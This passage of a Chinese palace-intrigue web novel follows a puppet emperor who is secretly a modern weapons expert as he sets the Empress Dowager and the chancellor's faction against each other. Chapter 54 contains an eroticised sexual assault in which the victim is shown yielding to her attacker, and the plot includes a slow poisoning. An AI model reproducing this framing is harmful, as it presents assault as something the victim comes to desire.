郑遂越说越伤心,竟当朝掩面哭泣起来。 “呜呜……他们、他们都不把朕放在眼里……母后、母后她…她是不是……是不是觉得朕不配坐这个位置……她、她是不是想…想自己……” 最后几个字,郑遂像是用尽了全身力气,可又不敢说,只能含糊在呜咽之中。 但“自己”后面那未尽的意味,在寂静的大殿里如同惊雷! 女皇?! 她想做女皇? 朝堂瞬间炸开了锅! 朝中余下没几个的保皇的老臣们气得浑身发抖,怒视着与徐家有关的官员。 而徐敬意的党羽们则脸色微变,互相交换着惊疑不定的眼神。 还有人忍不住低声议论。 “太后竟有此心?” “徐大爷如此嚣张,莫非是得了太后授意,试探朝野?” “相爷不在京中,这、这是要乱啊!” 郑遂把一个惶恐无助的傀儡皇帝形象演绎得淋漓尽致,众人却不知他在背地里偷偷露出了一抹笑。 他要的,就是这份混乱,这份猜忌! 退朝后的乾清宫依旧冷冷清清,但郑遂乐得自在。 进了门,脸上就不见半分懦弱悲戚。 随意的挥挥袖子,对徐妍吩咐。 “今日朝堂之事,分两份传出去。” 徐妍很快就去了寿康宫。 求着徐妙晴屏退左右后,徐妍扑通跪倒在徐妙晴面前,未语泪先流,随后肩膀剧烈抽动,哭得几乎肝肠寸断。 “太后!太后娘娘,救救奴婢吧!”徐妍抬起泪痕斑驳的脸。 “自从……自从您与陛下………他、他简直不是人!他把对您的怨气,全全撒在奴婢身上了……” 徐妍颤抖着手,似乎想拉开衣领又不敢,几乎字字泣血。 “夜里就他变着法子折辱奴婢,用用那些见不得人的器具,还掐、掐着脖子说……说奴婢是您安插的眼线!是贱婢!他、他还说……要把奴婢赏给最下贱的太监玩……” 徐妍哭得几乎背过气去。 徐妙晴皱眉听着,眼中并无多少波澜,甚至有一丝不耐烦。 “行了。”听到污秽之处,徐妙晴终于忍不住冷冷打断。 “哀家如今自身难保,如何救你?忍着吧。” 徐妍就知道徐妙晴不把自己的命当命,心中冷笑,面上却哭得更惨。 她抬起头,泪眼朦胧。 “奴婢、奴婢死不足惜……可是陛下他……他今日在朝堂上,竟、竟当着满朝文武的面哭诉,暗示他们,说您想自己当皇帝!娘娘!这是要置您于死地啊!” “什么?!”徐妙晴如遭雷击,猛地从凤椅上站起。 “郑遂!小畜生!安敢如此污蔑哀家!” 可这么重要的消息,竟都无人告知吗? 自己在朝中,竟已到了如今的地步? 她气得浑身发抖,来回疾走。 可到底也是她先背叛郑遂,断了“母子情分”,扶持徐敬若制衡徐敬意。 如今被反咬一口,偏偏她理亏在先! 这盆“觊觎皇位”的污水泼下来,她百口莫辩! 看着徐妙晴方寸大乱的样子,徐妍心中冷笑更甚。 良久,徐妙晴终于强行压下怒火,走到徐妍面前,换上一副“和蔼”面孔,亲自将她扶起。 “好孩子,委屈你了。哀家知道你的忠心。” 徐妙晴拉着徐妍的手,语气瞬间温柔。 “眼下那孽障丧心病狂,可哀家却暂时还需你在他身边……忍辱负重。” 徐妙晴叹了口气,凑近徐妍耳边。 “妍儿啊,你莫急,待哀家料理了外头这些乱局,掌控了禁军,定救你出来,将那孽障碎尸万段,替你报仇!到时,荣华富贵,享之不尽!而你……” 徐妙晴微微一笑:“继续好好伺候着皇帝,药不能停,可你也别让他马上就死了。听话……” 第53章 求的是您这个人 徐妍身体微微颤抖,最后在看到徐妙晴威胁的目光后,她认命一般的跪地,重重磕头。 “奴婢谢太后娘娘恩典!奴婢……万死不辞!” 荆州,韩王府邸。 徐敬意终于赶到。 本是想向在云州时好好给韩王一个下马威,可到了之后,仔细一看,却只看到战战兢兢的王府长史。 “韩王呢?让他出来见本相!”徐敬意顿时眉头一皱,厉声喝道。 长史早知这徐敬意的嚣张跋扈,听了这话,长史似乎是吓得失魂落魄,扑通便跪倒。 声音发颤的道:“回、回禀相爷……王爷……王爷他?三日前听闻云州楚王殿下病危,忧心如焚,已、已星夜兼程赶往云州探病去了……” “什么?!去了云州?!”徐敬意只觉得一股热血直冲脑门,眼前一黑。 他舍弃水路快马加鞭赶来,就是为了打韩王一个措手不及! 结果韩王跑了? 还是绕开他去了云州? 这分明是故意避而不见!什么探病?楚王病危的消息就是他让人放出去的饵!韩王这小狐狸! “混账!韩王安敢戏耍本相!”徐敬意暴怒,一脚踹翻身前的紫檀木茶几,名贵的瓷器茶具哗啦啦碎了一地。 长史瑟瑟发抖,屁都不敢放一个。 可惜徐敬意连处罚都没空说,就突生变故。 一名亲卫统领在徐敬意气的七窍生烟时就连滚爬爬地冲了进来,手中还高举一封插着三根染血翎毛的急报。 “相爷!八百里加急!京城、京城朝堂剧变!” 徐敬意一把夺过急报,撕开封口,一目十行。 接着脸色一白! 这信上不敢详细描述了徐敬若如何招摇过市、结交大臣,还说了郑遂如何在朝堂被逼得痛哭失声,当众暗示徐妙晴欲图女皇之位,朝野震动,徐妙晴一系气焰嚣张至极…… “徐敬若!徐妙晴!贱人!孽障!!”徐敬意只觉得一股逆血上涌,眼前金星乱冒。 本来只是以为这俩人有判心,结果竟然是他娘的当什么劳什子女王,还把郑遂逼的当众哭哭啼啼,他们是当自己死了吗?! 两股火交织在一起,喷薄而出。 徐敬意顿时就觉得胸口剧痛如绞,指着门外,嘴唇哆嗦着,想说什么,却一个字也发不出来。 “噗——!” 终于,一口鲜血狂喷而出,溅得信纸一片猩红! “相爷!”众亲卫魂飞魄散,惊呼上前。 徐敬意身体晃了晃,直挺挺地向后倒去,彻底气晕了过去。 众人七手八脚将徐敬意抬到榻上,灌下参汤,好一阵忙乱才将他救醒。 徐敬意悠悠转醒,但脸色依旧灰败。 片刻之后,他才终于回过神来。 几乎顾不得胸中气血翻腾,嘶哑着嗓子急令。 “快!笔墨!” 东西刚拿来,徐敬意强撑着坐起,蘸墨疾书。 第一封,写给朝中他的核心朋党。 “京中剧变,妖后与庶孽沆瀣一气,竟欲倾覆江山,其心可诛! 尔等速速联络同僚,暂扶持郑遂!务必稳住朝局,绝不可让妖后得逞! 一切待本相回京再行定夺!切记,郑遂懦弱,乃制衡妖后最佳傀儡,务必保其无恙,以正朝纲!” 第二封,则是一封极其隐秘的密函,用特殊药水书写,收信人是深埋在宫中的一个关键内线。 “即刻起,暗中放权于郑遂!允其接触部分无关紧要之政务,给予些许‘自主’之假象,助其树立‘反抗’太后之形象!务必使其与妖后徐妙晴、庶孽徐敬若彻底对立,互相消耗!汝需谨慎,勿露痕迹!” —— 寿康宫内,一片狼藉。 名贵的瓷器碎片、撕烂的字画、倾倒的香炉散落一地。 徐妙晴发髻散乱,凤目赤红,胸口剧烈起伏,可依旧像是不解气。 “徐敬意!老匹夫!好毒的手段!” 良久,徐妙晴终于咬牙切齿的发出了声音。 刚才传来了一道信心热乎的笑意。 说是徐敬意留在朝中的势力,竟然一改之前对郑遂的压制,主动拜访了皇帝,送上了厚礼,言辞间多有“匡扶陛下”、“肃清朝纲”之意。 徐妙晴又不是猪,自然看得出这是徐敬意在遥控指挥,要借郑遂这个傀儡来制衡她,甚至除掉她! 可偏偏徐敬若那边寻找禁军如同大海捞针,迟迟没有可靠消息。 自己手中无兵无权,唯一的倚仗就是太后的身份和徐敬若这个不顶用的盟友。 如今徐敬意釜底抽薪,造反的事都叫他暂且放下,直接支持起了郑遂? 这和让她去死有什么区别?! “废物!都是废物!”徐妙晴一脚踢开脚边的玉如意,对着垂首不敢言的徐敬若怒骂。 徐敬若脸色也很难看,低声道:“太后息怒,禁军隐藏极深,非一朝一夕……” “非一朝一夕?等徐敬意的人把刀架到哀家脖子上吗?!” 徐妙晴厉声打断,心中一片冰凉绝望。 难道……真的要坐以待毙? 忽然,有宫女来报。 “太后,偏殿的南宫先生求见。他说,或可为太后解此危局。” “南宫治?”徐妙晴一愣,随即不耐烦地挥手,“一个匠人,能解什么危局?不见!” 宫女犹豫了一下,补充道:“可南宫先生说……他、他知道太后最想要的东西的下落。” “什么?!”徐妙晴和徐敬若同时惊呼出声。 徐敬若明显不信。 一个破铜匠!他能懂个六饼! 可徐妙晴眼中却瞬间爆发出骇人的精光,一时也顾不上真假。 不顾徐敬若劝阻,急道:“快!宣他进来!” 南宫治依旧是一身洗得发白的旧衫,大步走了进来。 甚至高傲的直接无视了殿内的狼藉和徐敬若警惕的目光,对着徐妙晴躬身一礼。 “草民南宫治,拜见太后。” “免礼!”徐妙晴急切地走下凤座,盯着南宫治,“南宫先生,你方才所言……当真?你知晓那支禁军的下落?” 南宫治抬起头,郑重道。 “回太后,草民流落江湖多年,对旧事秘闻,确实略有耳闻。且草民多年前,便已掌握了些许蛛丝马迹。” 徐妙晴心跳顿时加速:“在何处?速速道来!若消息属实,哀家赐你千金!不,封你为侯!享万世富贵!” 南宫治闻言,却轻轻摇了摇头。 随后竟忽然向前逼近一步,距离徐妙晴已不足三尺,目光灼灼地锁住她因焦虑而更添几分艳丽的脸庞。 “千金?侯爵?太后娘娘,草民所求…并非这些俗物。” 徐妙晴被他看得浑身不自在,蹙眉道:“那你要什么?只要哀家能给的……” 南宫治又向前逼近一步,几乎能感受到彼此的呼吸。 他压低了声音,带着赤裸裸的欲望,一字一句道:“草民所求。是太后您这个人。” 第54章 你也该收敛了 “放肆!!” 徐妙晴凤目圆睁,几乎不敢相信自己的耳朵。区区一个卑贱匠人,竟敢如此亵渎于自己?!!! “大胆狂徒!哀家面前安敢口出秽言!来人!给哀家把这腌臜东西拖下去!乱棍打死!立刻!” 可侍卫蜂拥而入的场景并未出现。 殿内死寂一片,只有徐妙晴自己的怒斥在空旷的宫殿里回荡着。 南宫治微微一笑。 徐妙晴这才猛地想起,为了与徐敬若密谈方便,她早已将太监侍卫屏退至宫苑之外。 此刻偌大的寿康宫内,除了跪伏在地瑟瑟发抖的两个宫女,就只剩下一旁呆若木鸡的徐敬若了! “废物!都是废物!”徐妙晴又惊又怒,对着那两个面无人色的宫女咆哮道。 “还不快护驾!去叫人!” 宫女早已被南宫治这极度大不敬的言论吓得魂飞魄散,全都瘫软在地,哪里还敢动弹。 徐妙晴猛的将目光投向徐敬若,尖叫道:“徐敬若!你还愣着干什么!拿下这逆贼!快!你一个大男人,还怕他不成?!” 徐敬若方如梦初醒,他看了看南宫治那张势在必得的脸,又对上徐妙晴惊惶失措的眼,当下连个屁都不敢放,哪里还有半点当初在徐妙晴面前的嚣张? 他只觉此地不宜久留! “太、太后……臣……臣去叫人!” 徐敬若丢下这句,竟猛地转身,头也不回地朝着殿门方向跌跌撞撞狂奔而去。 “徐敬若!你这懦夫!畜生!给哀家回来!”徐妙晴撕心裂肺的尖叫。 她不顾人言扶持的人,竟在关键时刻弃她如敝履! 就在徐妙晴心神剧震的瞬间,南宫治动了。 他几步便跨到徐妙晴面前,因常年劳作而带着洗不净的铁腥味的手掌直接捂住了徐妙晴的嘴,另一只手径直揽住她纤细的腰肢,猛地将她拖离凤座! “唔……唔唔!” 徐妙晴拼命挣扎,凤钗掉落,发髻散乱。 且不说她如今贵为太后,就是以前在徐家时亦是养尊处优,她何曾受过如此屈辱?! 南宫治力道极大,毫不费力地制住徐妙晴的反抗,径直将她拖向内殿的凤榻。 徐妙晴被狠狠摔在柔软的锦被之上,眼前一阵发黑。 她挣扎着想要爬起,南宫治却已欺身压上。 布满老茧的大手毫不怜惜地撕开徐妙晴身上华贵的衣襟,粗暴地抚上她保养得宜的肌肤。 “太后娘娘……”南宫治邪笑着看向徐妙晴,“您当初初嫁,老皇帝就死了,这奴才是知道的。” 他凑近过来,低低的循循善诱:“奴才正值壮年,比那年逾六十的老皇帝不知好上多少,包管让娘娘满意。” “滚开!你这下贱的……” 徐妙晴的怒骂被再次堵住,只剩下破碎的呜咽。 南宫治深谙此道,手法老练而极具侵略性,精准地撩拨着她身体深处沉睡的欲望。 徐妙晴正值虎狼之年,久旷之身哪里经得起这般手段? 竟渐渐失了力气,一股难以启齿的热流从身体深处汹涌蔓延开来,迅速冲垮了理智…… 徐敬若几乎是连滚爬爬地逃离了寿康宫,夜风一吹,他满头的冷汗才让他稍微清醒了些,但心脏仍在狂跳,仿佛要撞出胸膛。 他不敢停留,直奔乾清宫而去。 “陛……陛下!”徐敬若冲进乾清宫,就扑通一声跪倒在地,“得……得手了!南宫先生那边……成了!” 郑遂缓缓放下书卷,目光落在徐敬若狼狈不堪的脸上,嘴角几不可察地向上弯了弯,露出一丝满意的神色,旋即又恢复了淡然。 “哦?比朕预想的还要快些。徐卿,此事你与南宫先生配合得当,做得很好。” 徐敬若闻言,心中一块巨石轰然落地,涌上一种劫后余生的虚脱感,连忙磕头道。 “微臣不敢居功!全赖陛下神机妙算,运筹帷幄!微臣……微臣只是依计行事罢了!” 郑遂微微颔首,脸上露出赞许的笑容,亲自起身将他扶起:“徐卿过谦了。此番若非你里应外合,时机拿捏得恰到好处,又岂能如此顺利?当记你首功。” 徐敬若受宠若惊,正待再表一番忠心,却见郑遂脸上的笑容倏然一收。 “不过,徐卿啊……”郑遂的声音陡然压低,“这几日,你借着太后的势,在京中搅风搅雨,风光得很呐。” 徐敬若心头猛地一紧。 “但你也该知道。”郑遂凑近一步。 “寿康宫太后不守妇道,私通匠人,更遑论私制虎符这等诛九族的大罪……若是传扬出去,这泼天的丑闻,第一个被碾成齑粉的,会是谁呢?” 徐敬若浑身剧颤,脸色瞬间惨白如纸! 是啊,他虽依附郑遂,可天底下谁又知道? 明面上,他可是靠着徐妙晴这棵大树才骤然显赫的! 反观郑遂,那可是想不承认就可不承认。 一旦徐妙晴这棵树倒了,还是带着如此不堪的罪名轰然倒塌的,那他这个依附其上的猢狲,必定是首当其冲! “陛、陛下!微臣惶恐……”徐敬若扑通一声又跪了下去,磕头如捣蒜。 “求陛下指点!” 郑遂居高临下地看着他:“收敛你的爪子,管好你的人,也管好你的嘴。从此刻起,夹起尾巴做人。明白吗?” “明白!明白!微臣谨遵圣谕!绝不敢再行差踏错半步!谢陛下恩典!谢陛下恩典!微臣告退!” 徐敬若如蒙大赦,几乎是手脚并用地爬起来,连滚带爬地退出了乾清宫。 看着他仓皇逃离的背影,郑遂嘴角勾起一丝冰冷的弧度。 这徐敬若可是一枚好用的棋子,暂时还不能废。 但要时刻让他记得,谁,才是执棋的手。 徐敬若果然“病”了。 这位前几日还意气风发,招摇过市,拿着太后懿旨四处“便宜行事”的徐家大爷,仿佛一夜之间就从京城权贵圈子里销声匿迹。 府邸大门紧闭,谢绝一切访客,连之前那些被他用重金拉拢的边缘官员也被拒之门外。 之前夜夜笙歌的酒楼顶层,如今也换了主人,空余寂寥。 与之形成鲜明对比的,是乾清宫骤然热闹了起来。 第55章 这徐相是忠臣 那些原本属于徐敬意的党羽,忽然开始频频出入宫禁,恭敬地向皇帝郑遂“请教”政务。 虽然所议之事多非军国核心,多涉及漕运、税赋、工部营造等“无关紧要”的领域,但郑遂这位皇帝,自然是渐渐有了冒尖的念头。 这诡异的风向转变自然逃不过京城百姓的眼睛。 不论茶楼酒肆,还是街头巷尾,议论纷纷。 “哎,听说了吗?那个徐敬若,好像突然就哑火了?” “可不是嘛!前些日子那叫一个威风,八抬大轿招摇过市,比相爷还气派呢!这才几天,人影都见不着了!” “倒是小皇帝那边,听说最近挺热闹?好些官老爷都往乾清宫跑?” “怪事!真是怪事!不是说相爷……呃,徐相他老人家……有不臣之心吗?怎么他弟弟倒了,他手下的人反倒去找皇帝了?” “我看啊,这事儿不简单!”一个老茶客捋着胡子,一副洞悉天机的模样。 “你们想想,徐相爷是什么人物?那可是国之柱石!之前那些传言,保不齐……就是障眼法!” “障眼法?” “对啊!你们想啊,太后娘娘和她那个不成器的兄弟徐敬若,最近闹得不像话吧?又是逾制仪仗,又是结交大臣,听说还想……那个位置?”老茶客讳莫如深地指了指天。 “小皇帝在朝堂上都给逼哭了!徐相爷远在荆州,鞭长莫及。可你们看现在!” 他顿了顿,环视周围竖起耳朵的听众:“徐大爷倒了!徐相的人立刻就去拱卫陛下了!这说明什么?说明徐相爷根本就不是反贼!他之前种种,那都是忍辱负重,是在替陛下挡灾,迷惑那对居心叵测的兄妹啊!” “说的对啊!那如此拉进来,徐相爷是忠臣!大大的忠臣!他和陛下,这是早就看穿了太后和徐敬若的勾结,联手设下的局啊!现在收网了!” 这番“合情合理”的推测,迅速引起了许多人的共鸣。 “有道理啊!” “对啊!若非如此,徐相爷的人怎么会突然对小皇帝那么恭敬?” “原来如此!徐相爷真是用心良苦!忠肝义胆啊!” “小皇帝也是可怜,被后娘逼成这样,还好徐相不与徐家人同流合污,有这样的忠臣护着,倒不算太难。” 舆论的风向,在有心人若有若无的引导和百姓们揣测议论下,短短几天内就发生了惊人的逆转。 徐妙晴与徐敬若这对兄妹,被描绘成了觊觎皇位、祸乱朝纲的野心家,瞬间被推上了风口浪尖,名声扫地。 而原本早就被定论为反贼的徐敬意,此刻竟摇身一变成了忍辱负重的忠臣典范,皇帝郑遂也成了虽年轻却得忠臣辅佐的明君胚子。 一时间,京城内外,竟是对徐相爷和少年天子的赞誉之声。 徐敬意在京城的心腹朋党们自然听到了这些街头巷议。 虽然他们心知肚明,徐敬意绝非什么忠臣,所谓“联手设局”更是无稽之谈。 但郑遂这些日子对他们确实礼敬有加,言听计从,态度温顺得无可挑剔。 加之徐敬意的密令是“扶持郑遂,制衡太后”,郑遂现在的表现完全符合最佳傀儡的要求,甚至还意外地替徐敬意刷了一波声望。 因此,对于民间这种误会,他们非但不恼,反而乐见其成。 反正只要徐敬意根基稳固,名声好点,总归不是坏事。 至于郑遂? 就是一个被他们牢牢捏在手心,靠着徐敬意“忠名”才得以喘息的小皇帝罢了,让他得点虚名又有何妨? 乾清宫内,檀香袅袅。 几位徐敬意留在京中的核心党羽,正恭敬地坐在下首,与御座上的郑遂“探讨”朝政。 气氛看似融洽,实则暗流涌动。 郑遂温和地询问了几项民政,官员们一一作答,滴水不漏。 待琐事议毕,郑遂轻轻叹了口气,眉宇间染上一丝恰到好处的忧虑,将话题引向了一个有些敏感的方向。 “诸位爱卿,前番徐相在云州击退秦王逆贼,功在社稷。然……”他话锋一转,忧色更浓。 “秦王虽退,其心不死,仍在封地蠢蠢欲动,实乃我大齐心腹之患。究其根源,朕观之,除却秦王狼子野心,更因我大齐军备……似有松弛之象,威慑不足啊。” 几位官员心中都是一凛,互相对视一眼。 这话直指军务核心,由不得他们不警惕。 其中一位资历最老的立刻沉声道:“陛下明鉴,秦王逆心确需警惕,然军备之事,关乎国本,徐相爷现已入荆州,收服韩王,想来不日便会传来好消息。只要收服所有藩王,击退亲王亦非难事,陛下不必过于忧心。” “徐相国之柱石,朕自然信得过。”郑遂立刻点头。 “只是……朕闲暇时翻阅旧档,对比先帝在时之军力记载,再思及徐相每每奏报提及边军缺额、器械老旧之困……总觉心中难安。” 郑遂顿了顿,又斟酌着道。 “若军力强盛,如先帝朝那般,想必秦王等宵小,也不敢如此猖獗,徐相在外奔波平乱,亦能轻松许多,不必每每亲冒矢石,劳心劳力。” 这话虽是机会,却也戳中了官员们心中隐忧。 徐敬意确实掌握着大齐大部分军队不错,但连年战事和内耗,军力折损严重,补充不易,军械更是因国库紧张而更新缓慢。 整体实力比起老皇帝在位时的巅峰时期,的确逊色不少。 这也是徐敬意虽势大,却仍对藩王有所忌惮的原因之一。 “陛下所言……亦是我等之虑。”下首以为谨慎地附和,试探着问道,“不知陛下可有良策?” 郑遂坐直身体:“朕思来想去,无非开源节流。开源者,增募兵员。然……” 他摇了摇头,神色悲悯。 “连年天灾战祸,百姓困苦,若再行大规模征兵,必致民怨沸腾,动摇国本。此非上策,更非仁君所为,亦恐有损徐相爱民之清誉。” 官员们微微点头,征兵确实容易激起民变,对徐敬意的名声也有碍,尤其是在眼下徐相“忠名”鹊起之时。 第56章 当效尧舜之法 “那陛下之意……是节流?”另一位官员问道。 “不,是节流之上的增效。”郑遂目光灼灼,仿佛想到了一个绝妙的主意? “兵贵精而不贵多!若能提升现有军械之威力,使一兵可当数兵之用,岂非事半功倍?既可免去征兵扰民之苦,又可大幅提升我大齐军力,震慑四方不臣!徐相在外统兵,若有此等利器相助,必能如虎添翼,早日肃清寰宇,还天下太平!此乃上上之策!” 改良军械? 几位官员心头同时一震,警惕之心大起! 这小皇帝,绕了一大圈,竟是想染指军械? 这是要为自己掌握军权铺路? 郑遂仿佛浑然不觉他们的警惕,反而微微垂眸,声音低沉了几分。 “诸位爱卿皆是徐相肱骨,朕也不瞒你们。朕年少登基,自知才疏德薄,全赖……唉,全赖徐相这等忠臣扶持,方得安坐此位。然,朕亦知,此位……终非朕之才德所能久居。” 他抬起头,目光坦然的扫过几位脸色微变的官员,语出惊人。 “徐相劳苦功高,德高望重,乃真正的擎天白玉柱,架海紫金梁。待天下靖平,海晏河清之日,朕……亦当效法尧舜,择贤者而禅之,以安社稷,以顺天命。这改良军械,增益国威,亦是朕……为徐相日后统领这江山,略尽一份绵薄心力罢了。” 禅位?! 此言一出,如同平地惊雷! 几位徐党重臣饶是城府深沉,也被震得目瞪口呆! 小皇帝竟然亲口说出了“禅位”二字? 虽说是日待天下靖平,但这……这姿态……放得太低了! 低得让他们瞬间觉得,之前怀疑皇帝想染指军权的心思,简直是以小人之心度君子之腹! 且虽然徐敬意走前就说过郑遂曾暗示过他,但终究没有明说! 他们如何能不震惊? 原来皇帝折腾这军械改良,竟是为了替徐相爷日后登基铺路,增加其统治的威势? 这……这简直是天大的好事啊! 虽然他们内心深处未必全信这禅位之言,但郑遂这一切为了徐相的姿态,却也是彻底打消了他们的疑虑,甚至让他们心中涌起一股难以言喻的得意。 “陛下……陛下言重了!”众人连忙起身,带头深深一揖。 “陛下仁德,心系社稷,更体恤徐相辛劳,实乃万民之福!改良军械,增益武备,确为强国良策!臣等必当竭尽全力,协助陛下完成此事,以壮我军威,不负陛下与相爷之厚望!” 郑遂脸上露出了如释重负的笑容,仿佛得到了莫大的认可。 “有诸位爱卿相助,朕心甚安!此事,便以徐相之名推行,如何?也好让天下知晓,此乃徐相心系强军、高瞻远瞩之策!” “陛下圣明!”官员们齐声应道,心中最后一丝芥蒂也烟消云散。 以徐相的名义?那再好不过! 功劳是相爷的,他们办事也更名正言顺。 军机处重地,甲胄森严。 郑遂在几位徐党重臣的“陪同”下,第一次踏入了这个象征着帝国最高军事机密的所在。 空气中弥漫着铁锈、桐油和皮革混合的独特气味。 一排排架子上,陈列着大齐军队现役的各种制式兵器。 长枪、腰刀、步弓、弩机、皮甲、乃至沉重的铁甲片…… 徐党官员们表面恭敬,实则目光紧紧盯着郑遂的一举一动。 他们想看看,这位夸下海口要改良军械的小皇帝,是真有本事,还是只会纸上谈兵。 郑遂假意没有注意到他们的眼神,径直走到了兵器架前,细细的查验着这些个兵器。 整个过程,郑遂始终一言不发,到了自己专业的事上,郑遂总是下意识的认真。 他现代就是边境武器专家,在审视这些冷兵器时,那些早已刻在脑子里的知识便如同活水般自然流淌。 在他眼中,这些兵器的优点和致命的缺陷,就如同掌上观纹般清晰可见。 终于,郑遂放下最后一片甲叶,转过身,他走到早已备好的案几前,铺开纸笔,笔走龙蛇,快速勾勒起来。 “诸位请看。”郑遂的声音打破了军机处的沉寂。 “其一,现有腰刀刀身过直,劈砍易卷刃,且重心偏前,久战易疲。当改为略带弧度的‘戚刀’式样,” 郑遂手指划过图纸上流畅的弧线:“如此,劈砍更省力,破甲更易,且重心后移,操控更灵活。” “其二,步弓弓力尚可,然弓臂多为单材,易变形失准。可尝试以柘木为胎,桑木为梢,角筋为面,胶合而成‘复合弓’,”他点着图纸上分层的结构,“虽工艺稍繁,但弓力更劲,射程更远,且耐候性大增,不易受潮变形。” “其三,弩机望山刻度粗疏,影响精度。需重新设计刻度,使其更精细,并加装简易标尺。扳机簧片力道过重,影响速射,当选用更佳钢片,减轻力道,提高反应速度。” “其四,甲胄连接处铆钉易松脱,可改以更坚固的‘卯榫’结构配合特制皮绳捆扎,增强整体防护力,不易被刺穿挑开。内衬当选用更透气耐磨之麻葛,减少士兵苦楚……” 郑遂的每一条建议都直指现有军械的痛点,还顺势给出了具体可行的改良方案,甚至详细到了材料选择与工艺改进。 其专业程度,竟远超在场任何一位浸淫军务多年的官员! 几位徐党重臣围在图纸旁,越看越是心惊! 他们虽非工匠,但常年接触军务,对兵器的优劣亦有基本判断。 郑遂提出的这几点,绝非信口开河! 一股强烈的喜忧参半之感涌上心头。 喜的是,这些改良若真能推行,大齐军队的战斗力必将提升一个台阶! 这对徐敬意掌控全局有莫大好处! 忧的是……此子竟有如此见识! 他展现出的能力,与其平日里懦弱无能的形象简直判若两人! 今日他能改良军械,明日他若想染指兵权…… 徐敬意如今只是暂时放权于他,若真让他借此在军中积累声望,那可就…… 第57章 进攻云州 郑遂敏锐地捕捉到了他们眼底一闪而过的惊疑和忌惮。 他心中冷笑,面上却适时地露出一个谦逊,甚至带着点讨好的笑容,恰到好处地打断了他们的思绪。 “诸位爱卿觉得如何?此乃朕一点浅见,纸上谈兵罢了。具体施行,还需仰仗诸位与工部大匠通力协作。” 郑遂顿了顿,语气变得无比诚恳。 “朕方才所言,皆以徐相之名推行。此等强军固国之功,自当记于徐相名下,方能激励三军,震慑四方!朕……只求能为徐相日后统御这万里河山,稍尽一份心力,便心满意足了。” 又是为徐相! 又是日后统御河山! 郑遂这番姿态放得极低,再次强调一切功劳归于徐敬意,甚至再次隐晦地点明了自己坚定要禅位的心意。 这如同给几位官员吃了一颗巨大的定心丸,瞬间将那点刚刚冒头的忌惮压了下去。 是啊,皇帝如此识相,处处为相爷着想,甚至主动把功劳让给相爷,自己甘居幕后,这简直是……求之不得的好事! “陛下高义!此等良策,利国利军,功在千秋!”有人率先反应过来,脸上堆满笑容,一揖到底。 “臣等必当尽心竭力,督造工部,尽快将陛下。不,是将徐相爷高瞻远瞩之策落实!请陛下放心!” “请陛下放心!”其余官员也纷纷附和。 只要功劳是相爷的,皇帝越有能力替相爷办事,岂不是越好? 至于皇帝本人? 一个早晚要“禅位”的过渡之人罢了。 郑遂满意地点点头,不再多言。 神态恢复了平日的温顺内敛:“如此甚好。有劳诸位爱卿费心。朕有些乏了,今日便到此为止吧。” 众人识趣地告退。 一出军机处大门,几位官员立刻交换了一个心照不宣的眼神,无需多言,皆看到了对方眼中的兴奋。 这消息必须立刻快马加鞭送往荆州! 小皇帝藏得极深!然,此变,或对我等大利! 荆州,驿馆。 连日来的等待如同钝刀子割肉,让徐敬意心头的怒火越烧越旺。 案几上堆积的公文他一个字也看不进去,眼前翻来覆去晃动的都是韩王那张看似谦恭实则狡诈的脸。 这该死的小狐狸,竟敢如此戏耍于他! 避而不见,还跑去云州?简直是奇耻大辱! “来人!”徐敬意烦躁地一拍桌子,眼中戾气翻涌。 “备马!点齐亲卫!即刻启程,返回云州!本相倒要看看,他韩王躲得了初一,还能躲得过十五不成!” “相爷息怒!相爷三思啊!”一旁的心腹幕僚慌忙劝阻。 “韩王此举虽是无礼,然其毕竟藩王之尊,无旨擅离封地已有不妥,相爷若再兴师动众追至云州,恐落人口实,授人以柄啊!且楚王那边情况不明,若贸然……” “住口!”徐敬意怒喝,胸中郁气难平。 “本相难道还怕了他不成?他韩王敢如此折辱本相,若不给他点颜色看看……” 话音未落,门外传来急促的脚步声。 一名风尘仆仆的信使被亲卫引了进来。 辅一露面,那信使便扑通跪倒。 “相爷!京中急报!天大的好消息!” “快呈上来!”徐敬意心头一跳,暂时压下了怒火。 密信展开,徐敬意一目十行的飞速扫过。 那信上详细禀报了郑遂如何在朝堂巧妙引导舆论,将徐妙晴兄妹钉在耻辱柱上,而将他徐敬意塑造成忍辱负重的忠臣。 如何提出军械改良之策,并主动将所有功劳归于他徐敬意。 又如何在军机处展现惊人才能却又姿态极低,甚至明确表达“禅位”之意…… 最后,是郑遂那句点睛之笔:“一切皆以徐相之名推行”。 徐敬意的呼吸骤然粗重起来,脸上的怒容瞬间冰雪消融,迅速被一阵狂喜所取代! “哈哈哈哈!好!好!好一个郑遂!好一个‘以徐相之名’!哈哈哈哈!天助我也!真是天助我也!” 他猛地从座位上站起,连日来的阴霾一扫而空,眼中精光四射,仿佛瞬间年轻了十岁! 这简直是瞌睡了就有人送枕头! 韩王?区区一个韩王算什么东西! 他之前还想着如何找借口收拾韩王,如今这现成的“忠君体国、心系强军”的大旗,不是已经由小皇帝亲手给他送来了吗? “相爷?”幕僚看着徐敬意狂喜的样子,小心询问。 徐敬意止住笑声,脸上犹带狂喜的红光,眼神却已变得无比冰冷。 他踱到窗边,望向云州方向,嘴角勾起一抹志在必得的笑容。 “传令下去,整顿仪仗,打出本相的旗号!明日启程,大张旗鼓,前往云州!本相倒要看看?本相携此‘忠名’与‘强军之策’亲临,他韩王,敢不敢闭门不见!敢不敢再与本相叫板!” 旌旗蔽日,铁甲铿锵。 徐敬意端坐于八匹骏马牵引的华盖车驾之上,面色冷峻如铁石。 车驾前后,正是数千精锐亲兵组成的庞大仪仗,甚至更远处,已有数支接到他密令,从附近州府调来的劲旅星夜兼程向云州汇聚。 此番他携“忠名”之威,握“强军”之策,更挟“皇命”大义,势要以雷霆万钧之势碾碎韩王那点可笑的桀骜。 若那韩王识相,跪地乞降,尚可留其全尸。 若敢有半句不逊…… 便正好借此良机,将其连根拔起,以儆效尤! 徐敬意的手指无意识地敲击着车辕,眼中寒光闪烁,仿佛已看到云州城头插上他的帅旗。 可车驾刚驶出荆州地界不过百里,前方驿道烟尘骤起,一骑快马如离弦之箭般狂奔而来。 马上骑士正是徐敬意留在云州监视楚王和韩王动向的清兵护卫统领。 只见他面色惨白如纸,汗透重甲,冲到徐敬意的车驾前,几乎是滚下马来。 接着扑通一声扑倒在地,声音亦是抖得不成样子:“相……相爷!天……天塌了!” 徐敬意心头猛地一沉,一股不祥的预感浮上心头。 “何事惊慌?速速报来!” 第58章 相爷,您中了毒啊! 那护卫统领头埋得更低,几乎要钻进尘土里,牙齿咯咯打颤:“楚……楚王殿下……薨了!” “什么?!”徐敬意霍然起身。 